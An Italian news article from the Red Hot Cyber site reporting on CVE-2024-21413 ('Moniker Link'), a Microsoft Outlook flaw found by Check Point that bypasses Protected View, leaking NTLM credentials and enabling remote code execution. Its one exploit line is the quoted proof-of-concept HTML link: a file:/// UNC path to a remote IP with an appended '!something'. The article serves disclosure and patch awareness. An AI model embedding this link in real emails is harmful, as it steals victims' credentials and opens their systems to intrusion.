Red Hot Cyber
Condividi la tua difesa. Incoraggia l'eccellenza. La vera forza della cybersecurity risiede nell'effetto moltiplicatore della conoscenza.
Cerca
LECS 970x120 1
Fortinet 320x100px
Moniker Link: il bug di Microsoft Outlook che consente l’Esecuzione Remota di Codice (RCE)

Moniker Link: il bug di Microsoft Outlook che consente l’Esecuzione Remota di Codice (RCE)

Redazione RHC : 25 Febbraio 2024 08:39

Microsoft segnala che aggressori remoti non autenticati potrebbero sfruttare la vulnerabilità critica in Outlook. Tale bug potrebbe aggirare Office Protected View e ottenere l’esecuzione remota di codice arbitrario.

Questa vulnerabilità è stata scoperta dai ricercatori di Check Point e ha ricevuto l’identificatore CVE-2024-21413. Interessa numerosi prodotti Office, tra cui Microsoft Office LTSC 2021 e Microsoft 365 Apps for Enterprise, nonché Microsoft Outlook 2016 e Microsoft Office 2019.

Il bug porta all’esecuzione di codice in modalità remota quando si aprono e-mail con collegamenti dannosi utilizzando una versione vulnerabile di Microsoft Outlook. Il problema è che il bug consente di aggirare la Visualizzazione protetta. Si tratta di un meccanismo progettato per bloccare i contenuti dannosi incorporati nei file di Office e aprire i file di Office dannosi in modalità di modifica.


Cve Enrichment Redhotcyber

CVE Enrichment
Mentre la finestra tra divulgazione pubblica di una vulnerabilità e sfruttamento si riduce sempre di più, Red Hot Cyber ha lanciato un servizio pensato per supportare professionisti IT, analisti della sicurezza, aziende e pentester: un sistema di monitoraggio gratuito che mostra le vulnerabilità critiche pubblicate negli ultimi 3 giorni dal database NVD degli Stati Uniti e l'accesso ai loro exploit su GitHub.

Cosa trovi nel servizio:
✅ Visualizzazione immediata delle CVE con filtri per gravità e vendor.
✅ Pagine dedicate per ogni CVE con arricchimento dati (NIST, EPSS, percentile di rischio, stato di sfruttamento CISA KEV).
✅ Link ad articoli di approfondimento ed exploit correlati su GitHub, per ottenere un quadro completo della minaccia.
✅ Funzione di ricerca: inserisci un codice CVE e accedi subito a insight completi e contestualizzati.


Supporta Red Hot Cyber attraverso: 

  1. L'acquisto del fumetto sul Cybersecurity Awareness
  2. Ascoltando i nostri Podcast
  3. Seguendo RHC su WhatsApp
  4. Seguendo RHC su Telegram
  5. Scarica gratuitamente “Byte The Silence”, il fumetto sul Cyberbullismo di Red Hot Cyber

Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì.

Gli sviluppatori hanno avvertito che le anteprime possono diventare anche un vettore di attacco. Questo poiché il CVE-2024-21413 può essere sfruttato anche attraverso l’anteprima di documenti dannosi.

Scopriamo il funzionamento di Moniker Link

“Un utente malintenzionato che sfrutta con successo questa vulnerabilità potrebbe ottenere privilegi elevati, comprese funzioni di lettura, scrittura ed eliminazione”spiega Microsoft . “Un utente malintenzionato potrebbe creare un collegamento dannoso per aggirare la Visualizzazione protetta, portando alla perdita delle credenziali NTLM locali e all’esecuzione di codice remoto (RCE).”

Gli analisti di Check Point chiamano la vulnerabilità Moniker Link e affermano che consente di aggirare la protezione di Outlook contro i collegamenti dannosi incorporati nelle e-mail tramite file://. Devi solo aggiungere un punto esclamativo all’URL, che punta ai server controllati dagli aggressori.

Un punto esclamativo viene aggiunto immediatamente dopo l’espansione del documento, insieme al testo libero (Check Point ha utilizzato la parola “qualcosa” nell’esempio):*<a href="file:///\\10.10.111.111\test\test.rtf!something">CLICK ME</a>*

Questo collegamento ignora le restrizioni di Outlook e Outlook accede alla risorsa remota \\\10.10.111.111\test\test.rtf quando si fa clic sul collegamento, senza visualizzare avvisi o errori.

Secondo i ricercatori, la vulnerabilità è legata all’API MkParseDisplayName, quindi potrebbe influenzare altri software che la utilizzano.

“Anche altre edizioni e versioni di Office sono probabilmente interessate da questo problema. In effetti, riteniamo che questo bug non sia stato rilevato ed esista nell’ecosistema Windows/COM da decenni perché è basato sull’API COM. Consigliamo vivamente a tutti gli utenti di Outlook di installare la patch ufficiale il prima possibile”, scrive Check Point.

Immagine del sitoRedazione
La redazione di Red Hot Cyber è composta da un insieme di persone fisiche e fonti anonime che collaborano attivamente fornendo informazioni in anteprima e news sulla sicurezza informatica e sull'informatica in generale.

Lista degli articoli

Articoli in evidenza

Immagine del sito
Inviare un’email a un destinatario sbagliato, è da considerarsi data breach?
Di Stefano Gazzella - 25/11/2025

Piaccia o meno, l’invio di un’email a un destinatario errato costituisce una violazione di dati personali secondo il GDPR. Ovviamente, questo vale se l’email contiene dati personali o se altrime...

Immagine del sito
5.000 utenti italiani “freschi” in vendita nelle underground. Scopriamo di cosa si tratta
Di Redazione RHC - 25/11/2025

Nel gergo dei forum underground e dei marketplace del cybercrime, il termine combo indica un insieme di credenziali rubate composto da coppie del tipo email:password. Non si tratta di semplici elenchi...

Immagine del sito
AGI: Storia dell’Intelligenza Artificiale Generale. Dalla nascita alla corsa agli armamenti
Di Redazione RHC - 25/11/2025

Sulla veranda di una vecchia baita in Colorado, Mark Gubrud, 67 anni, osserva distrattamente il crepuscolo in lontananza, con il telefono accanto a sé, lo schermo ancora acceso su un’app di notizie...

Immagine del sito
Anthropic lancia Claude Opus 4.5, il modello di intelligenza artificiale più avanzato
Di Redazione RHC - 24/11/2025

Anthropic ha rilasciato Claude Opus 4.5 , il suo nuovo modello di punta, che, secondo l’azienda, è la versione più potente finora rilasciata e si posiziona al vertice della categoria nella program...

Immagine del sito
La Sorveglianza Digitale sui Lavoratori sta Arrivando: Muovi il Mouse più Veloce!
Di Redazione RHC - 24/11/2025

Il lavoro da remoto, ha dato libertà ai dipendenti, ma con essa è arrivata anche la sorveglianza digitale. Ne abbiamo parlato qualche tempo fa in un articolo riportando che tali strumenti di monitor...